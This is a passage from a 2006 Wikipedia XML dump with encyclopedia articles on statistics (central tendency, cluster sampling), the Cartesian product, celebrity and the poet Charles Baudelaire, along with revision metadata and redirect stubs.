The [[Kolmogorov-Smirnov test]] is based on cumulative distribution functions and can be used to test to see whether two empirical distributions are different or whether an empirical distribution is different from an ideal distribution. The closely related [[Kuiper's test]] (pronounced {{IPA|/k&amp;#339;yp&amp;#601;&amp;#641;/}}; a bit like &quot;Cowper&quot; might be pronounced in English) is useful if the domain of the distribution is cyclic as in day of the week. For instance we might use Kuiper's test to see if the number of tornadoes varies during the year or if sales of a product vary by day of the week or day of the month.

==See also==
* [[Descriptive statistics]]
* [[Probability distribution]]
* [[Probability density function]]
* [[Empirical distribution function]]

[[Category:Probability theory]]

[[da:Fordelingsfunktion]]
[[de:Kumulierte Verteilungsfunktion]]
[[fr:Fonction de répartition]]
[[pl:Dystrybuanta]]
[[pt:Função distribuição acumulada]]
[[su:Cumulative distribution function]]
[[zh:累积分布函数]]</text>
    </revision>
  </page>
  <page>
    <title>Central tendency</title>
    <id>5794</id>
    <revision>
      <id>37626602</id>
      <timestamp>2006-02-01T03:45:44Z</timestamp>
      <contributor>
        <ip>69.158.140.122</ip>
      </contributor>
      <comment>/* A list of measures of central tendency */</comment>
      <text xml:space="preserve">In [[statistics]], '''central tendency''' is an [[average]] of a [[set]] of [[measurement]]s, the word ''average'' being variously construed as mean, median, or other measure of location, depending on the context.  Central tendency is a [[descriptive statistics|descriptive statistic]] analogous to [[center of mass]] in physical terms.  The term is used in some fields of [[empirical research]] to refer to what statisticians sometimes call &quot;location&quot;.  A &quot;measure of central tendency&quot; is either a [[location parameter]] or a [[statistic]] used to estimate a location parameter.

There are several different kinds of calculations for central tendency, the kind of calculation depending on the type of data ([[level of measurement]]) for which the central tendency is being calculated.

==A list of measures of central tendency==

*[[Arithmetic mean]] - the sum of all measurements divided by the number of observations in the data set
*[[Median]] - the middle value that separates the higher half from the lower half of the data set
*[[Mode (statistics)|Mode]] - the most frequent value in the data set
*[[Geometric mean]] - the [[Radical (mathematics) |nth root]] of the product of the data values
*[[Harmonic mean]] - the [[reciprocal]] of the arithmetic mean of the reciprocals of the data values
*[[Generalized mean]] - the nth root of the arithmetic mean of the nth powers of the data values
*[[Weighted mean]] - an arithmetic mean that incorporates weighting to certain data elements
*[[Truncated mean]] - the arithmetic mean of data values after a certain number or proportion of the highest and lowers data values have been discarded
*[[Interquartile mean]] - a special case of the truncated mean
*[[Midrange]] - the arithmetic mean of the highest and lowest values of the data or distribution.

==See also==
*[[Average]]
*[[Mean]]
*[[Standard deviation]]
*[[Standard error (statistics)]]
*[[Summary statistics]]  
*[[Statistical theory]]
*[[Probability]]
*[[Normal distribution]]

[[Category:Statistics]]</text>
    </revision>
  </page>
  <page>
    <title>Cartesian product</title>
    <id>5795</id>
    <revision>
      <id>41132142</id>
      <timestamp>2006-02-25T06:24:13Z</timestamp>
      <contributor>
        <username>Melchoir</username>
        <id>454640</id>
      </contributor>
      <comment>[[Category:Binary operations]]</comment>
      <text xml:space="preserve">In [[mathematics]], the '''Cartesian product''' (or '''direct product''') of two [[set]]s ''X'' and ''Y'', denoted ''X'' × ''Y'', is the set of all possible [[ordered pair]]s whose first component is a member of ''X'' and whose second component is a member of ''Y'':

:&lt;math&gt;X\times Y = \{(x,y) | x\in X\;\mathrm{and}\;y\in Y\}. &lt;/math&gt;

The Cartesian product is named after [[René Descartes]] whose formulation of [[analytic geometry]] gave rise to this concept.

For example, if set ''X'' is the 13-element set { ''A'', ''K'', ''Q'', ''J'', 10, 9, 8, 7, 6, 5, 4, 3, 2 } and set ''Y'' is the 4-element set {&amp;spades;, &amp;hearts;, &amp;diams;, &amp;clubs;}, then the Cartesian product of those two sets is the 52-element set { (''A'', &amp;spades;), (''K'', &amp;spades;), ..., (2, &amp;spades;), (''A'', &amp;hearts;), ..., (3, &amp;clubs;), (2, &amp;clubs;) }.

==Cartesian square and n-ary product==
The '''Cartesian square''' (or '''binary Cartesian product''') of a set &lt;i&gt;X&lt;/i&gt; is the Cartesian product &lt;i&gt;X&lt;/i&gt; × &lt;i&gt;X&lt;/i&gt;.
An example is the 2-dimensional plane '''R''' &amp;times; '''R''' where '''R''' is the set of [[real number]]s - all points (''x'',''y'') where ''x'' and ''y'' are real numbers (see the [[Cartesian coordinate system]]).

This can be generalized to the '''''n''-ary Cartesian product''' over ''n'' sets ''X''&lt;sub&gt;1&lt;/sub&gt;, ..., ''X&lt;sub&gt;n&lt;/sub&gt;'':

:&lt;math&gt;X_1\times\ldots\times X_n = \{(x_1, \ldots, x_n)|  x_1\in X_1\;\mathrm{and}\;\ldots\;\mathrm{and}\;x_n\in X_n\}.&lt;/math&gt;

Indeed, it can be identified to (''X''&lt;sub&gt;1&lt;/sub&gt; × ... ×  ''X&lt;sub&gt;n-1&lt;/sub&gt;'') × ''X&lt;sub&gt;n&lt;/sub&gt;''.  It is a set of [[N-tuple|''n''-tuples]].

An example of this is the [[Euclidean space|Euclidean]] 3-space '''R''' &amp;times; '''R''' &amp;times; '''R''', with '''R''' again the set of real numbers.

As an aid to its calculation, a table can be drawn up, with one set as the rows and the other as the columns, and forming the ordered pairs, the cells of the table by choosing the element of the set from the row and the column.

== Infinite products ==

The above definition is usually all that's needed for the most common mathematical applications. However, it is possible to define the Cartesian product over an arbitrary (possibly [[infinite]]) collection of sets. If ''I'' is any index set, and

:&lt;math&gt;\{X_i\ | i \in I\}&lt;/math&gt;

is a collection of sets indexed by ''I'', then we define 

:&lt;math&gt;\prod_{i \in I} X_i = \{ f : I \to \bigcup_{i \in I} X_i\ |\ (\forall i)(f(i) \in X_i)\},&lt;/math&gt; 

that is, the set of all functions defined on the index set such that the value of the function at a particular index ''i'' is an element of ''X&lt;sub&gt;i&lt;/sub&gt;''&amp;nbsp;.

For each ''i'' in ''I'', the function
:&lt;math&gt;  \pi_i : \prod_{i \in I} X_i \to X_i &lt;/math&gt;
defined by
:&lt;math&gt;  \pi_i(f) = f(i),\,&lt;/math&gt;
is called the '''''ith'' projection map'''.

An ''n''-tuple can be viewed as a function on {1, 2, ..., ''n''} that takes its value at ''i'' to be the ''i''th element of the tuple. Hence, when ''I'' is {1, 2, ..., ''n''} this definition coincides with the definition for the finite case. In the infinite case this is a [[family (mathematics) | family]]. 

One particular and familiar infinite case is when the index set is &lt;math&gt;\mathbb N&lt;/math&gt;, the [[natural numbers]]: this is just the set of all infinite sequences with the ''i''th term in its corresponding set ''X&lt;sub&gt;i&lt;/sub&gt;''. Once again, trusty old &lt;math&gt;\mathbb R&lt;/math&gt; provides an example of this:

:&lt;math&gt;\prod_{n = 1}^\infty \mathbb R =\mathbb{R}^\omega= \mathbb R \times \mathbb R \times \ldots&lt;/math&gt;

is the collection of infinite sequences of real numbers, and it is easily visualized as a vector or tuple with an infinite number of components. Another special case (the above example also satisfies this) is when all the factors ''X&lt;sub&gt;i&lt;/sub&gt;'' involved in the product are the same, being like &quot;Cartesian exponentiation.&quot; Then the big union in the definition is just the set itself, and the other condition is trivially satisfied, so this is just the set of ''all'' functions from ''I'' to ''X.''

Otherwise, the infinite cartesian product is less intuitive; though valuable in its applications to higher mathematics.

The assertion that the Cartesian product of a [[empty set|non-empty]] collection of non-empty sets is non-empty is equivalent to the [[axiom of choice]].

== Cartesian product of functions ==
If ''f'' is a function from ''A'' to ''B'' and ''g'' is a function from ''X'' to ''Y'', their '''cartesian product''' ''f''&amp;times;''g'' is a function from ''A''&amp;times;''X'' to ''B''&amp;times;''Y'' with
:&lt;math&gt;(f\times g)(a, x) = (f(a), g(x))&lt;/math&gt;

As above this can be extended to [[tuple]]s and infinite collections of functions.

== Category theory ==
[[Category theory | Categorically]], the cartesian product is the [[direct product]] in the [[Category of sets]]. 

==See also==

* [[Binary relation]]
* [[Direct product]]
* [[Empty product]]
* [[Product (category theory)]]
* [[Product topology]]
* [[Relation (mathematics)]]

[[Category:Set theory]]
[[Category:Binary operations]]

[[bg:Декартово произведение]]
[[cs:Kartézský součin]]
[[de:Kartesisches Produkt]]
[[es:Producto cartesiano]]
[[fr:Produit cartésien]]
[[ko:곱집합]]
[[it:Prodotto cartesiano]]
[[he:מכפלה קרטזית]]
[[lt:Dekarto sandauga]]
[[nl:Cartesisch product]]
[[ja:直積集合]]
[[no:Kartesisk produkt]]
[[pl:Iloczyn kartezjański]]
[[pt:Produto cartesiano]]
[[fi:Karteesinen tulo]]
[[uk:Декартів добуток множин]]
[[zh:笛卡尔积]]</text>
    </revision>
  </page>
  <page>
    <title>Celebrity</title>
    <id>5796</id>
    <revision>
      <id>41968451</id>
      <timestamp>2006-03-02T23:11:14Z</timestamp>
      <contributor>
        <username>TigerShark</username>
        <id>161478</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/69.142.216.140|69.142.216.140]] ([[User talk:69.142.216.140|Talk]]) to last version by Naconkantari</comment>
      <text xml:space="preserve">''For the 1998 movie, see [[Celebrity (film)]]. For the [[N'Sync]] album, see [[Celebrity (album)]].  For the party game, see [[Celebrity (game)]]''.

A '''celebrity''' is a person who is widely recognized (famous) in a [[society]] and commands a degree of public and media attention. The word stems from the [[Latin]] ''celebritas'', itself  from the adjective ''celeber'' meaning 'famous, celebrated'. 

Fame is the major prerequisite for celebrity status, but not always sufficient. There has to be a level of public interest in the person which may or may not be connected to the reason they are famous. For example a public figure such as a politician, industry leader etc. may be famous but not a celebrity unless something else triggers public and media interest (e.g. [[Virgin]] Director [[Richard Branson]] attempting to circumnavigate the globe in a balloon) Other types of fame, particularly those connected with [[mass entertainment]] are almost guaranteed to lead to celebrity even if the person deliberately avoids media attention. Examples of these are performers such as [[actors]] and [[musicians]] and [[athletes]].

[[Image:Luckmancover.jpg|thumb|[[Michael J. Fox]] a 21st century US celebrity]]

==Rise of celebrity culture==
:''Main article: [[celebrity culture]].''
The modern [[mass media]] has increased the exposure and power of celebrity. Often, celebrity carries with it immense [[social capital]] that is highly sought-after by some individuals. High-paying jobs and other social perks unavailable to most people are readily extended to celebrities, even for work not connected to the talents or accomplishments that made them famous. For example, a retired athlete might receive high &quot;[[speaking fee]]s&quot;, or compensation for public appearances, despite his talent having been sports, not oratory.

While some [[envy]] celebrities, and many aspire to celebrity, some who have attained it are ambivalent about their status. Often, celebrities cannot escape the public eye, and risk being followed by fans or [[paparazzi]]. As well, [[Child actor|child celebrities]] are notorious for having poor [[emotion|emotional]] health in adulthood, and often turn to drug abuse when their celebrity fades (as it usually does). As adults, celebrities may suffer from [[Hollywood marriage]]s which quickly end in [[separation]] or [[divorce]].

Some participants in [[reality television]] shows have admitted that they appeared on these programs with the goal in mind of attaining celebrity. Most often, they achieve only &quot;fleeting celebrity&quot; with no social or economic value. However for those with career ambitions in the media, it can be an ideal start as a fastlane to fame as an actor or presenter. For example, the Australian Big Brother semifinalist [[Blair McDonough]] landed a major part in the worldwide-broadcasted family soap [[Neighbours]] (even some plot elements mimicking his BB performance). 

[[Celebrity culture]], once restricted to [[royal family|royalty]] and mythical figures, has pervaded many sectors of society including business, publishing, and even academia (the [[Scilebrity|scilebrities]]).

Only a small proportion of individuals in any profession can achieve true celebrity. For those who do, the benefits can be substantial-- in the form of speaking fees, book advances, and high-paying &quot;consulting&quot; jobs from firms seeking access.  

However, celebrity has its disadvantages as well. Academics and business leaders who become well-known often lose credibility with their peers (or at least perceive that they do). This does not necessarily have to be the case, particulary if they are somewhat selective about the non-specialist appearances they make.  This was proven in 2005 when canon law professor Rik Torfs, who otherwise would have stood no chance, proved to be a very witty, erudite and original guest in political and general backgound programs on Flemish TV and in leading quality newspaper [[De Standaard]], was voted a close second by the academic community in the election of a new rector (active chancellor) of [[Katholieke Universiteit Leuven]], one of the major universities in [[Belgium]]. 

In many fields, such as the arts and publishing, a moderate measure of celebrity (being &quot;established&quot;) is necessary before individuals are able to &quot;get respect&quot;. Most non-famous individuals in these sectors are poorly-compensated, though they may be as talented or more so than well-compensated, famous people in the same field.

==Celebrity structure==
Each nation or cultural community (linguistic, ethnic, religious) has its own largely independent celebrity system, e.g. individuals who are extremely well known in India, might be unknown abroad, except with the Indian diaspora.  

Subnational entities or regions will also have their own 'celebrity system'. This will be largest and most independent in distinct regions such as [[Quebec]] and [[Puerto Rico]]. Locally, regional newscaters, politicians or community leaders could be consdiered celebrities: for example, [[Lin Sue Cooney]] is a well known television reporter in [[Arizona]], but she is not that well known in other areas. Singers, actors (especially working in their native language) and other media celebrities from say the Netherlands are much more likely to be famous in equally Dutch-speaking Flanders, and vice-versa, than anywhere else.

Thus celebrity is relative, depending on [[geography|geographic]] [[scale]]. A celebrity will be known only by those audiences that are reached by the media in which the celebrity features. In a smaller country, linguistic or cultural community, a figure will be less likely to gain worldwide celebrity. [[Shakira]] is an example of someone who was known largely in the [[Spanish Language|Spanish]]-speaking world before increasing her global fame through [[English language]]-versions of her songs.

Some celebrities can be considered 'global' - that is, they are known across the world. These will almost all be high-powered religious or political figures, [[Hollywood]] actors, globally successful [[pop music|pop musicians]] and successful [[sports]] stars.

Many people will refer to celebrities as ''[[A-List]]'', ''B-List'', ''C-List'', ''D-List'' or ''Z-List''. These indicate a placing wihtin the hierarchy, though due to differing levels of celebrity in different regions, it is difficult to place people within one bracket. In addition to this, these 'lists' do not actually exist; they are concepts whose definition will change from person to person.

==Professions that offer celebrity==
[[Image:Yuri Gagarin official portrait.jpg|thumb|right|200px|[[Kosmonaut]] - [[Yuri Alekseyevich Gagarin]].]]
Some professional activities, by the nature of being high-paid, highly exposed, and difficult to get into, automatically confer celebrity. For example, [[movie star]]s and television [[actor]]s are almost invariably celebrities. High-ranking [[politician]]s, [[List of television reporters|television reporters]], television show hosts, [[supermodels]],
[[astronaut]]s, and major-league [[athlete]]s are also celebrities.

Some [[film director|film]] and [[theatre director]]s, [[Film producer|producer]]s, [[artist]]s, [[musician]]s, [[author]]s, [[trial lawyer]]s and [[journalist]]s are celebrities, but the vast majority are not, or much less than their real importance in the business. Some people in these professions strive to avoid celebrity, while others seek it. 

Any person who is able to get his or her own television show (or section) will usually become a celebrity: this includes [[chef]]s, [[gardener]]s, and [[interior decorator]]s on shows like ''[[Trading Spaces]]'' and ''[[While You Were Out]]''. However fame based on one program may often prove short-lived after it is discontinued.

==Celebrity families==
Individuals can achieve celebrity, but there are also many celebrity families, such as various royal families (often interest in these will be highest when scandal is involved, as with the [[House of Windsor]]) and artistic 'dynasties' e.g. the Barrymore, Cassidy ([[David Cassidy|David]] and [[Shaun Cassidy]]), the [[Osmonds]], [[The Osbournes|Osbournes]], Quintanilla, [[Redgrave]], Sheen/Estevez, Stiller, Mistry, [[Jackson]] and Baldwin families, as well as the [[Bush political family|Bushes]], [[Clinton#Family of Bill Clinton|Clintons]], Luke Ellis's family and [[Kennedy family|Kennedys]] and some sports families.

==Celebrity resentment== 
Because celebrities have fame comparable to that of [[royal family|royalty]] or [[gods]] in the past, some people exhibit curiosity about their private affairs. Due to the high visibility of celebrities' personal lives, their failures are often made public. Therefore, &quot;celebrities&quot; are usually viewed as exhibiting worse personal behavior and having worse moral values than most people. Whether this is true or not is questionable, because the exact meaning of the word &quot;celebrity&quot; is difficult to define, not all celebrities exhibit bad behaviour, and, sometimes, the acts that a celebrity does reflect social trends that non-celebrities might also do. A case in point may be the behavior of non-celebrities on [[Reality television]].

Some have argued that the notion of ''celebrity'' is self-reinforcing and ultimately vacuous: some celebrities are not famous for their accomplishments, but merely famous for their fame and presumed fortune. For example, [[Paris Hilton]] would not be a public figure without her [[wealth]], but her family's prominence has created and reinforces her fame.  Hilton is in some senses a special case; she is famous at least in part for being an example of the perceived negative or shallow aspects of celebrity life, and some believe she is going out of her way to fill that role and gather further attention. But in many ways, figures like Hilton and other 21st century celebrities are just occupying celebrity [[niche]]s previously occupied by stars of earlier generations.

==Literature==
''High Visibility'', by Irving J. Rein, Philip Kotler, and Martin Stoller, studies the phenomenon of celebrity. To them, celebrity requires not only fame, but fame with an evident monetary value.

==See also==
*[[:Category:Lists of celebrities]]
*[[Celebrity branding]]

==External links==
*[http://www.verydodgy.com/celebs/ verydodgy.com celebs] - A good selection of female celeb pictures.
*[http://www.babe100.com/ Babe100.com] - For the Promotion of Beautiful Babes, also has profiles, movie, game and product reviews.
*[http://www.cutehoneys.com/ Cute Honeys] Female celebrity database, offers profiles, biographies, pictures, and links. (no ads)
*[http://www.knowyourceleb.com/ Huge collection of celebrity profiles &amp; pictures]
*[http://www.nilacharal.com/enter/celeb/index.html Good collection of celebrity profiles]
*[http://www.celebrityworld.tv/ CelebrityWorld.tv] - Huge collection of Celebrity photos and their biographies.
*[http://www.celebrityculture.net/ Academic website for the study of Celebrity]
*[http://www.celebritiesfans.com/ Celebrities Fans] Huge Celebrity Database, including addresses, photographs, biographies, and merchandisings.
*[http://www.celebmint.com/ Celebmint] Huge Celebrity News and Celebrity Photos + gossip news
*[http://www.whosaliveandwhosdead.com/ Who's Alive and Who's Dead] Comprehensive list of living and dead celebrities
*[http://www.celebsbiography.com/ Celebrity Biography] List of celebrity biographies
*[http://www.aceshowbiz.com/ AceShowBiz] Celebrity database and resource.
*[http://www.celebopedia.com/ Celebopedia] A celebrity encyclopedia with over 1300 profiles.
*[http://www.celebsoup.com/ Celebsoup] Celebrity News
*[http://www.tao-of-tattoos.com/celebrity-tattoos.html Celebrities and their Tattoos] Celebrity Tattoos
*[http://www.platinum-celebs.com/ Platinum Celebs] Offers large database with celeb pictures.
*[http://www.celebrity-ltd.com/ Celebrity Ltd.] Featuring quick links to celebrity sites, images, wallpapers, screensavers, auctions and merchandise.
*[http://www.himnaut.com The Celebrity Search Engine]
*[http://www.necgroup.co.uk/visitor/celebcentre NEC Group Celeb Centre] celebrity database
*[http://www.celebsprofile.com/ Celebrity Profiles] celebrity profiles
*[http://www.wikicelebrities.com/ Wiki Celebrities] User-editable celebrity profiles and information.
*[http://celebs-iq.com/ Celebs-IQ] - intelligent celebrities &amp; Celebrities GeoLocation .
*[http://www.hottestontv.com.au Hottest On TV - the hottest 600 celebs on Australian TV] 
*[http://www.mediaman.com.au/profiles/celebrities.html Media Man Australia celebrity profiles] Celebrity Profiles
*[http://hated-celebrities.co.uk/ Hated Celebrities] Dedicated to listing hated celebrities and reasons they deserve the public's ire.

[[Category:Celebrities]]

[[de:Prominenz]]
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[[sv:Kändis]]</text>
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  <page>
    <title>Cluster sampling</title>
    <id>5797</id>
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      <contributor>
        <username>Rfrisbie</username>
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      <minor />
      <comment>/* See also */ ditto</comment>
      <text xml:space="preserve">'''Cluster sampling''' is used when &quot;natural&quot; groupings are evident in the population. The total population is divided into groups or clusters. Elements within a cluster should be as homogeneous as possible. But there should be heterogeneity between clusters. Each cluster should be a small scale version of the total population. Each cluster must be mutually exclusive and collectively exhaustive. A random sampling technique is then used on any relevant clusters to choose which clusters to include in the study. In single-stage cluster sampling, all the elements from each of the selected clusters are used. In two-stage cluster sampling, a random sampling technique is applied to the elements from each of the selected clusters.

The main difference between cluster sampling and [[stratified sampling]] is that in cluster sampling the cluster is treated as the sampling unit so analysis is done on a population of clusters (at least in the first stage).  In stratified sampling, the analysis is done on elements within strata. In stratified sampling, a random sample is drawn from each of the strata, whereas in cluster sampling only the selected clusters are studied. The main objective of cluster sampling is to reduce costs by increasing sampling efficiency (This contrasts with stratified sampling where the main objective is to increase precision.). 

One version of cluster sampling is '''area sampling''' or '''geographical cluster sampling'''. Clusters consist of geographical areas. A geographically dispersed population can be expensive to survey.  Greater economy than simple random sampling can be achieved by treating several respondents within a local area as a cluster. It is usually necessary to increase the total sample size to achieve equivalent precision in the [[estimator]]s, but the savings in cost may make that feasible.

In some situations, cluster analysis is only appropriate when the clusters are approximately the same size. This can be achieved by combining clusters. If this is not possible, '''probability proportionate to size sampling''' is used. In this method, the probability of selecting any cluster varies with the size of the cluster, giving larger cluster a greater probability of selection and smaller clusters a lower probability. However, if clusters are selected with probability proportionate to size, the same number of interviews should be carried out in each sampled cluster so that each unit sampled has the same probability of selection.

==See also== 
* [[sampling (statistics)]]
* [[multistage sampling]]
* [[simple random sampling]]


[[category:experimental design]]
[[category:sampling techniques]]
[[Category:Marketing research]]</text>
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    <title>Closeted person</title>
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      <text xml:space="preserve">#REDIRECT [[Ecumenical council]]

:''See also :'' [[Catholicism]]</text>
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:''See also :'' [[Catholicism]]</text>
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      <comment>Keep; current policy is to keep these (see discussion on WP:RfD)</comment>
      <text xml:space="preserve">#REDIRECT [[Second Vatican Council]]</text>
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  <page>
    <title>Charles Baudelaire</title>
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      <comment>/* Trivia */</comment>
      <text xml:space="preserve">::''&quot;Baudelaire&quot; redirects here. For the characters from ''[[A Series of Unfortunate Events]]'', see [[Violet Baudelaire]], [[Klaus Baudelaire]] and [[Sunny Baudelaire]].''

[[Image:Charles_Baudelaire.jpg|thumb|200px|left|Charles Baudelaire, photograph taken by [[Nadar]].]]
&lt;br /&gt;
{{French literature (small)}}

'''Charles Pierre Baudelaire''' ([[April 9]], [[1821]] &amp;ndash; [[August 31]], [[1867]]) was one of the most influential [[France|French]] [[poet]]s of the nineteenth century. He was also an important [[critic]] and [[translator]].

==Life and work==
Baudelaire was born in [[Paris]]. His father, who was a senior [[civil service|civil servant]] and an amateur [[artist]], died in [[1827]], and in the following year his mother married a [[lieutenant colonel]] named Aupick, who later became a French [[ambassador]] to various [[noble court|courts]]. Baudelaire was educated in [[Lyon]] and at the [[Lycée Louis-le-Grand|Collège Louis-le-Grand]] in Paris.  On gaining his [[Academic degree|degree]] in [[1839]] he decided to embark upon a literary career, and for the next two years led a somewhat irregular life.  It is believed he contracted [[syphilis]] about this time.  To straighten him out, his [[legal guardian|guardian]]s, in [[1841]], sent him on a voyage to [[India]]. When he returned to Paris, after less than a year's absence, he was of age; but in a year or two his extravagance threatened to exhaust his small [[inheritance]], and his family obtained a decree to place his property in trust. It is in this period that he met [[Jeanne Duval]], who was to become his longest romantic association.

[[Image:Courbet - Bildnis Baudelaires.jpg|thumb|right|Portrait by [[Gustave Courbet]], 1848.]]
His [[art]] reviews of [[1845]] and [[1846]] attracted immediate attention for the boldness with which he propounded his views: many of his critical opinions were novel in their time, but have since been generally accepted. He took part with the [[revolutionary|revolutionaries]] in [[1848]], and for some years was interested in [[Republicanism|republican]] politics, but his political convictions spanned the anarchism of [[Pierre-Joseph Proudhon]], the history of the ''Raison d'Ėtat'' of [[Giuseppe Ferrari]], and [[ultramontanism|ultramontane]] critique of liberalism of [[Joseph de Maistre]]. Baudelaire was a slow and fastidious worker, and it was not until [[1857]] that he produced his first and most famous volume of [[poem]]s, ''[[Les fleurs du mal]]'' (&quot;The Flowers of Evil&quot;). Some of these had already appeared in the ''[[Revue des deux mondes]],'' when they were published by Baudelaire's friend [[Auguste Poulet Malassis]], who had inherited a [[printing]] business at [[Alençon]]. The poems found a small but appreciative audience, but greater public attention was given to their subject matter. The principal themes of [[sexuality|sex]] and [[death]] were considered scandalous, and the book became a by-word for unwholesomeness among mainstream [[critic]]s of the day. Baudelaire, his [[publisher]], and the [[printer (publisher)|printer]] were successfully [[prosecution|prosecuted]] for creating an offense against public [[morality|morals]]. In the poem &quot;Au lecteur&quot; (&quot;To the Reader&quot;) that prefaces ''Les fleurs du mal'', Baudelaire accuses his readers of [[hypocrisy]] and of being as guilty of [[sin]]s and [[lie]]s as the poet:

:... If [[rape]] or [[arson]], [[poison]], or the [[knife]]
:Has wove no pleasing patterns in the stuff
:Of this drab [[canvas]] we accept as life&amp;mdash;
:It is because we are not bold enough!

::([[Roy Campbell (Poet)|Roy Campbell]]'s [[translation]])

Six of the poems were suppressed, but printed later as ''Les Épaves'' (&quot;The Wrecks&quot;) ([[Brussels]], [[1866]]). Another [[edition]] of ''Les fleurs du mal'', without these poems, but with considerable additions, appeared in [[1861]].

His other works include ''Petits Poèmes en prose'' (&quot;Small Prose poems&quot;); a series of art reviews published in the ''Pays, Exposition universelle'' (&quot;Country, World Fair&quot;); studies on [[Gustave Flaubert]] (in ''Lartisge'', [[October 18]], 1857); on [[Théophile Gautier]] (''Revue contemporaine'', [[September]], [[1858]]); various articles contributed to Eugene Crepet's ''Poètes francais''; ''Les Paradis artificiels: opium et haschisch'' (&quot;French poets; Artificial Paradises: opium and hashish&quot;) ([[1860]]); and ''Un Dernier Chapitre de l'histoire des oeuvres de Balzac'' (&quot;A Final Chapter of the history of works of Balzac&quot;) ([[1880]]), originally an article entitled &quot;Comment on paye ses dettes quand on a du génie&quot; (&quot;How his debts are paid when one has genius&quot;), in which his criticism turns against his friends [[Honoré de Balzac]], [[Théophile Gautier]], and [[Gérard de Nerval]].

Baudelaire had learned [[English language|English]] in his childhood, and [[Gothic novel]]s, such as [[Matthew Gregory Lewis|Lewis]]'s ''[[The Monk]]'', became some of his favorite reading matter. In [[1846]] and [[1847]] he became acquainted with the works of [[Edgar Allan Poe]], in which he found tales and poems which had, he claimed, long existed in his own brain, but had never taken shape. From this time till [[1865]] he was largely occupied with his translated versions of Poe's works, which were widely praised. These were published as ''Histoires extraordinaires'' (&quot;Extraordinary stories&quot;) ([[1852]]), ''Nouvelles histoires extraordinaires'' (&quot;New extraordinary stories&quot;) (1857), ''Aventures d'Arthur Gordon Pym'' (see [[The Narrative of Arthur Gordon Pym]]), ''Eureka'', and ''Histoires grotesques et sérieuses'' (&quot;Grotesque and serious stories&quot;) ([[1865]]). Two [[essay]]s on Poe are to be found in his ''Oeuvres complètes'' (&quot;Complete works&quot;) (vols. v. and vi.). 

Meanwhile his [[finance|financial]] difficulties increased, particularly after his publisher Poulet Malassis went bankrupt in [[1861]], and in [[1864]] he left Paris for [[Belgium]], partly in the hope of selling the [[copyright|rights]] to his works. For many years he had a long-standing relationship with a [[Mulatto]] [[woman]], [[Jeanne Duval]], whom he helped to the end of his life. He had recourse to [[opium]], and in Brussels he began to [[alcoholism|drink to excess]]. He suffered a massive stroke in 1866 and [[paralysis]] followed, and the last two years of his life were spent in &quot;maisons de santé&quot; in Brussels and in Paris, where he died on [[August 31]], [[1867]]. Many of his works were published posthumously.

He is buried in the [[Cimetière du Montparnasse]], Paris.

==Influence==
Baudelaire is one of the most famous [[decadence|Decadent]] poets, but before the [[20th century]], when his work underwent considerable re-evaluation, he was generally considered by many to be merely a [[drug addict]] and a very vulgar author. 

==Trivia==
He was possibly the inspiration for the Baudelaire characters in [[Lemony Snicket]]'s &quot;[[A Series of Unfortunate Events]].&quot;

French Black Metallers [[Alcest]] have used a poem by [[Baudelaire]] in their 2005 demo, Le Secret, on the song, Elevation.

==Bibliography==
* ''Salon de 1845'', [[1845]]
* ''Salon de 1846'', [[1846]]
* ''La Fanfarlo'', [[1847]]
* ''[[Les fleurs du mal]]'', [[1857]]
* ''[[Les paradis artificiels]]'', [[1860]]
* ''[[Réflexions sur Quelques-uns de mes Contemporains]]'', [[1861]]
* ''[[Le Peintre de la Vie Moderne]]'', [[1863]]
* ''[[Curiosités Esthétiques]]'', [[1868]]
* ''[[L'art romantique]]'', [[1868]]
* ''[[Le Spleen de Paris/Petits Poémes en Prose]]'', [[1869]]
* ''Oeuvres Posthumes et Correspondance Générale'', [[1887]]-[[1907]]
* ''Fusées'', [[1897]]
* ''Mon Coeur Mis à Nu'', [[1897]]
* ''Oeuvres Complètes'', [[1922]]-53 (19 vols.) 
* ''Mirror of Art'', [[1955]] 
* ''The Essence of Laughter'', [[1956]] 
* ''Curiosités Esthétiques'', [[1962]] 
* ''The Painter of Modern Life and Other Essays'', [[1964]] 
* ''Baudelaire as a Literary Critic'', [[1964]] 
* ''Arts in Paris 1845-1862'', [[1965]] 
* ''Selected Writings on Art and Artist'', [[1972]] 
* ''Selected Letters of Charles Baudelaire'', [[1986]] 
* ''Critique d'art; Critique musicale'', [[1992]]

==Online texts==
===in French===
*[[:fr:s:Charles Baudelaire|Original works by Baudelaire at the French Wikisource]]
*[http://baudelaire.litteratura.com full online texts in french]
*[http://baudelaire.litteratura.com/madame_bovary_flaubert Madame Bovary par Gustave Flaubert]
*[http://baudelaire.litteratura.com/peintres_aquafortistes.php Peintres et aquafortistes]
*[http://baudelaire.litteratura.com/les_fleurs_du_mal.php Les Fleurs du Mal: full online downloadable text]

===in English===
*[http://www.linesofadvance.com/baudelaire.html &quot;The Painter of Modern Life&quot; Complete Annotated Text at Lines of Advance]
*[http://www.poetry-archive.com/b/baudelaire_charles.html Selected works at Poetry Archive]
*[http://www.tonykline.co.uk/Browsepages/French/Baud18.htm Another selection]
*[http://fleursdumal.org/ Les Fleurs du Mal full text online with Translations]
*[http://hometown.aol.co.uk/invictusanathem/ Au Lecteur (to the reader) - English Translation]

==External links==
{{wikiquote}}
*{{gutenberg author|id=Charles_Baudelaire|name=Charles Baudelaire}}
*[http://fleursdumal.org FleursDuMal.org] Definitive online presentation of Fleurs du mal, featuring the original French alongside multiple English translations
*[http://www.boaeditions.org/books/flowers.html Flowers of Evil and Paris Spleen] A fine translation by [[William Holmes Crosby, Jr. | W.H. Crosby]]
*[http://www.veinotte.com/baudelaire/ A large site in English]
*[http://baudelaire.litteratura.com/ A comprehensive website in French]
*[http://www.fisheseye.com/baudelaire.htm/ Baudelaire's Paris - An ebook literary tour with suggested poems in English and French at each location]
*[http://www.livejournal.com/tools/memories.bml?keyword=baudelaire&amp;user=larvatus&amp;sortby=des larvatus' LiveJournal Memorable baudelaire Entries] A work in progress, in English, translating, interpreting, and commenting prose poems and critical writings by Baudelaire, with references and links to other resources
*[http://www.poetes.com/baud/index.php Poetes.com]
{{1911}}

[[Category:1821 births|Baudelaire, Charles]]
[[Category:1867 deaths|Baudelaire, Charles]]
[[Category:French poets|Baudelaire, Charles]]
[[Category:French art critics|Baudelaire, Charles]]
[[Category:Wagnerites|Baudelaire, Charles]]
[[Category:Former Students of Lycée Louis-le-Grand|Baudelaire, Charles]]

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    <title>Casey at the Bat</title>
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      </contributor>
      <comment>/* External links */</comment>
